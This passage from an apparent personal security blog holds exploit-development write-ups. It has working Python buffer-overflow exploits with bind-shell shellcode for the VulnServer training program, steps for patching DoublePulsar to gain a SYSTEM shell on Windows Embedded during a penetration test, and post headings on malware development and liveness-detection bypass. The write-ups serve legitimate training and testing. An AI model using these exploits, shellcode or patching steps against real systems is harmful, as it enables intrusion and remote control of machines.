"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = egghunter
buffer += "A"*(147-len(buffer))
buffer += "\xAF\x11\x50\x62"        # JMP ESP 625011AF from essfunc.dll
buffer += "\xe9\x64\xff\xff\xff"    # JMP 151 bytes backwards to the start of A's
buffer += "C"*(5000-len(buffer))

# For loop to send the 2nd stage shellcode using the available commands
for command in ["STATS ", "RTIME ", "LTIME ", "SRUN ", "TRUN ", "GMON ", "GDOG ", "HTER ", "LTER ", "KSTAN "]:
    print "[*]Attempting to store shellcode in " + (command) + " command."
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    print s.recv(1024)
    shell = command + "CaptCapt" + shellcode 
    s.send(shell)
    print s.recv(1024)
    s.close()

# Used to send the 1st stage shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER /.:/" + buffer)
print s.recv(1024)
s.close()

Yay! It worked! As seen here, the egghunter found the string “CaptCapt” right after the STATS command.

The shellcode worked and the target machine opened up a “listening” port on 4444/tcp.

The last thing to do was to connect to the newly opened port to have a shell access.

I really enjoyed and learned a lot from this exploitation because of the several problems that I encountered along the way.

[VulnServer] Exploiting TRUN Command via Vanilla EIP Overwrite

Wed, 27 Jun 2018 00:00:00 +0000

As part of my preparation for the taking the CTP course and OSCE exam, I decided to practice and hone my skills using vulnserver.exe. Based on the creator’s note:

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

Before anything else, I first started exploring the application by connecting to it on port 9999/tcp. Using the HELP command, all the available commands showed up. It can also be seen that all the commands (except from HELP and EXIT) only require one argument.

Now that I already knew the available commands, I started fuzzing the TRUN command of the application using the following SPIKE template (trun.spk). (Note: If you wanted to learn more about SPIKE, please read this.)

s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");

Using the template, I fuzzed the application for a short period of time using SPIKE’s generic_send_tcp interpreter.

Looking back at the debugger, the application instantly crashed. From here, I observed that EAX stores the command (TRUN) and the string sent by the fuzzer (/.:/ AAAAA...). ESP and EIP were also overwritten with the fuzzed string.

To view the exact data sent by SPIKE, I opened up Wireshark and searched for the string TRUN /.:/, which was the string that was found stored in EAX.

Based on the TCP stream, the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.

To verify the buffer length that caused the crash, I’ve written the following python script, which contains 5000 bytes of A’s.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.129"
port = 9999

buffer = "A"*5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()

Executing the python script successfully replicated the crash.

The next step was to identify the four bytes that overwrote the EIP register. To do this, I first created a unique string of 5000 bytes using the Mona command !mona pc 5000.

Then used the unique pattern as the buffer - replacing the original 5000 bytes of A’s.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()

After executing the updated script, the EIP was overwritten with 6F43376F.

To search the offset of the string that overwrote EIP, I used the following Mona command. The result showed that the offset was 2002 bytes.

The exploit code was then updated to ensure that the offset was correct.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.129"
port = 9999

buffer = "A"*2002
buffer += "BBBB"
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()

The updated script verified that the offset was correct. From here, it can be seen that EIP was overwritten with 4 B’s. It can also be observed that the buffer of C’s, which overwrote ESP, was located directly after the 4 bytes of B’s. This was good news because I could simply place my shellcode right after the 4bytes of B’s.

But before that, I needed first to identify the bad characters. To do this, I generated all possible characters, from \x00 to \xFF, using the Mona command !mona bytearray. These characters were stored in the variable badchars and added to the buffer. *(Note: The character NULL byte (\x00) was already removed since it’s almost always a bad character.)

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.129"
port = 9999

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A"*2002
buffer += "BBBB"
buffer += badchars
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()

After sending the updated buffer, the memory dump showed all the expected characters (\x01 to \xFF). This means that the only bad character was the NULL byte (\x00).

The next step was to find an address which contains a JMP ESP instruction. It’s always recommended to use an address from the application itself, or the DLL that comes with the application. This is done for compatibility purposes - meaning that the exploit will work even if the application was installed on a different machine. For this instance, I only searched for a JMP ESP instruction from the essfunc.dll module that’s included with vulnserver.exe. I used the first address (0x625011AF) from the result of the Mona command !mona jmp -r esp -m “essfunc.dll”. This address was a good candidate since there’s no protection mechanism.

The next step was to generate a shellcode using MSFvenom.

Using all the information that I gathered (list of good characters, address containing a JMP ESP instruction, and shellcode), I modified the exploit code to the following. I also added a nopsled (16 NOP instructions) before the shellcode to give room for the decoder to do its work.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.129"
port = 9999

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
# Payload size: 355 bytes
shellcode = ("\xdb\xcd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x53\xbb\x44\xdc\x09"
"\x7b\x31\x5a\x17\x83\xc2\x04\x03\x1e\xcf\xeb\x8e\x62\x07\x69"
"\x70\x9a\xd8\x0e\xf8\x7f\xe9\x0e\x9e\xf4\x5a\xbf\xd4\x58\x57"
"\x34\xb8\x48\xec\x38\x15\x7f\x45\xf6\x43\x4e\x56\xab\xb0\xd1"
"\xd4\xb6\xe4\x31\xe4\x78\xf9\x30\x21\x64\xf0\x60\xfa\xe2\xa7"
"\x94\x8f\xbf\x7b\x1f\xc3\x2e\xfc\xfc\x94\x51\x2d\x53\xae\x0b"
"\xed\x52\x63\x20\xa4\x4c\x60\x0d\x7e\xe7\x52\xf9\x81\x21\xab"
"\x02\x2d\x0c\x03\xf1\x2f\x49\xa4\xea\x45\xa3\xd6\x97\x5d\x70"
"\xa4\x43\xeb\x62\x0e\x07\x4b\x4e\xae\xc4\x0a\x05\xbc\xa1\x59"
"\x41\xa1\x34\x8d\xfa\xdd\xbd\x30\x2c\x54\x85\x16\xe8\x3c\x5d"
"\x36\xa9\x98\x30\x47\xa9\x42\xec\xed\xa2\x6f\xf9\x9f\xe9\xe7"
"\xce\xad\x11\xf8\x58\xa5\x62\xca\xc7\x1d\xec\x66\x8f\xbb\xeb"
"\x89\xba\x7c\x63\x74\x45\x7d\xaa\xb3\x11\x2d\xc4\x12\x1a\xa6"
"\x14\x9a\xcf\x53\x1c\x3d\xa0\x41\xe1\xfd\x10\xc6\x49\x96\x7a"
"\xc9\xb6\x86\x84\x03\xdf\x2f\x79\xac\xce\xf3\xf4\x4a\x9a\x1b"
"\x51\xc4\x32\xde\x86\xdd\xa5\x21\xed\x75\x41\x69\xe7\x42\x6e"
"\x6a\x2d\xe5\xf8\xe1\x22\x31\x19\xf6\x6e\x11\x4e\x61\xe4\xf0"
"\x3d\x13\xf9\xd8\xd5\xb0\x68\x87\x25\xbe\x90\x10\x72\x97\x67"
"\x69\x16\x05\xd1\xc3\x04\xd4\x87\x2c\x8c\x03\x74\xb2\x0d\xc1"
"\xc0\x90\x1d\x1f\xc8\x9c\x49\xcf\x9f\x4a\x27\xa9\x49\x3d\x91"
"\x63\x25\x97\x75\xf5\x05\x28\x03\xfa\x43\xde\xeb\x4b\x3a\xa7"
"\x14\x63\xaa\x2f\x6d\x99\x4a\xcf\xa4\x19\x6a\x32\x6c\x54\x03"
"\xeb\xe5\xd5\x4e\x0c\xd0\x1a\x77\x8f\xd0\xe2\x8c\x8f\x91\xe7"
"\xc9\x17\x4a\x9a\x42\xf2\x6c\x09\x62\xd7")

buffer = "A"*2002
buffer += "\xAF\x11\x50\x62"        # 625011AF   JMP ESP from essfunc.dll
buffer += "\x90"*16                 # nopsled
buffer += shellcode
buffer += "C"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()

After running the final exploit code, the shellcode worked and the target machine opened up a “listening” port on 4444/tcp.

The last thing to do was to connect to the newly opened port to have a shell access.

Patching DoublePulsar to Exploit Windows Embedded Machines

Tue, 26 Jun 2018 00:00:00 +0000

During one of my engagements, I discovered some Windows devices that were affected by the MS17-010 vulnerability. One of these devices caught my attention as it’s something I haven’t encountered yet - a Windows Embedded operating system.

Since it’s vulnerable to MS17-010, I immediately tried the relevant Metasploit modules. However, none of them worked. All I got was just an error saying that the target OS is not supported.

Even the new MS17-010 module (exploit/windows/smb/ms17_010_psexec) didn’t work.

That’s weird. Maybe MSF’s auxiliary module gave me a false positive. Or maybe the authors of the exploit modules forgot to include the support for Windows Embedded.

To verify if the target was really vulnerable, I decided to use the original exploit for MS17-010. So, I fired up Fuzzbunch and then used SMBTouch. The result showed that the target was actually vulnerable via EternalBlue.

I then quickly used the EternalBlue module and the result was successful - the backdoor was successfully installed on the target. So I guessed the authors of the MSF exploit modules just forgot to add the support for Windows Embedded version.

Since the backdoor was already installed, the last thing that needs to be done to complete the exploitation and gain a shell was to use DoublePulsar. First, I generated a shell in DLL format.

Then I used DoublePulsar to inject the generated DLL to the target host. However, it failed with an error message of [-] ERROR unrecognized OS string. I guessed the MSF modules were true after all that the Windows Embedded version was not supported.

With still a few hours left before the engagement ended, I decided to dig deeper and examined DoublePulsar. First, I searched for the error message that I got while attempting to use DoublePulsar. This string was found on the .text section at 0x0040376C.

To have a better understanding on how DoublePulsar ended up with that error message, I decided to follow the program’s flow using IDA’s graphical view.

As seen from the graphical view, if the target machine is running Windows 7, it will take the left path, then proceed to detect whether its architecture is x86 or x64. If the target is not Windows 7, it will take the right path and do the other OS checks. Since there’s no check for Windows Embedded, the program ended up outputting the error message [-] ERROR unrecognized OS string.

By analyzing further the “Windows 7 OS Check”, I observed that I could “force” the program to take the left path by modifying the instruction jz short loc_403641 to jnz short loc_403641.

To do this, I went to Edit > Patch program > Change byte.

Then I changed the value 74 (opcode of JZ) to 75 (opcode of JNZ).

This is what it looked like after modifying the jump instruction.

I then created a DIF file by going to File > Produce file > Create DIF file….

Then used @stalkr_’s script (https://stalkr.net/files/ida/idadif.py) in order to patch the modified exe file.

Then moved back the modified Doublepulsar-1.3.1.exe to its original location.

Using the modified DoublePulsar, I was able to inject the generated DLL payload to the target host.

And gained a SYSTEM shell.

Capt. Meelo

Virtual Assistant: Defeating Liveness Detection with the Help of Virtual Devices

Introduction

Understanding Remote Identity Proofing

Verification Methods & Their Related Attacks

Facial Recognition

Document Validation

Voice Authentication

Liveness Detection as a Defensive Control

Facial Liveness

Document Liveness

Voice Liveness

Injection Attacks Against Liveness Detection

Injection via Modified or Falsified Devices

Injection via Substitution of Captured Media

Using Virtual Devices to Circumvent Liveness Detection

Attack Demonstration

Virtual Device Against Facial Liveness

Virtual Device Against Document Liveness

Virtual Device Against Voice Liveness

Threats: Widespread Biometric Data Exposure

Recommendations

Conclusion

[ROOTCON 18] Seeing is Not Believing: Bypassing Facial Liveness Detection by Fooling the Sensor

Abstract

Talk

Slides

[SANS HackFest 2022] Developing High-Impact Malware with Minimal Effort

Talk

Slides

Infographic

Lessons Learned from Cloning Windows Binaries and Code Signing Implants

Conclusion

Writing an Independent Malware

Runtime Libraries

Why Do We Care?

The Solutions

Install What’s Missing

Statically Link ‘Em

Manually Remove ‘Em

Changing the Program’s Entry Point

Disabling Security Check

Removing <stdio.h>

Build Your Own

Custom printf()

Custom CRT

Go With WinAPI

Conclusion

Making NtCreateUserProcess Work

From CreateProcess() to NtCreateUserProcess()

But Why Use NtCreateUserProcess()?

NtCreateUserProcess()

RtlCreateProcessParametersEx()

Cleanup Code

The Header File

The Minimal Code

Conclusion

Adventures with KernelCallbackTable Injection

The Problems

Other’s Solution

My Solution

First Attempt: FAILED!

Second Attempt: FAILED! (again)

Third Attempt: SUCCESS!

Conclusion

Useful Libraries for Malware Development

tiny-AES-c

skCrypter

lazy_importer

SysWhisper2

inline_syscall

Conclusion

Quick & Lazy Malware Development

Introduction

Skeleton Code

Encrypting the Shellcode

Hiding Function Calls

Detection Rate

Conclusion

Picky PPID Spoofing

Removing `<stdio.h>`

Custom `printf()`

From `CreateProcess()` to `NtCreateUserProcess()`

But Why Use `NtCreateUserProcess()`?

`NtCreateUserProcess()`

`RtlCreateProcessParametersEx()`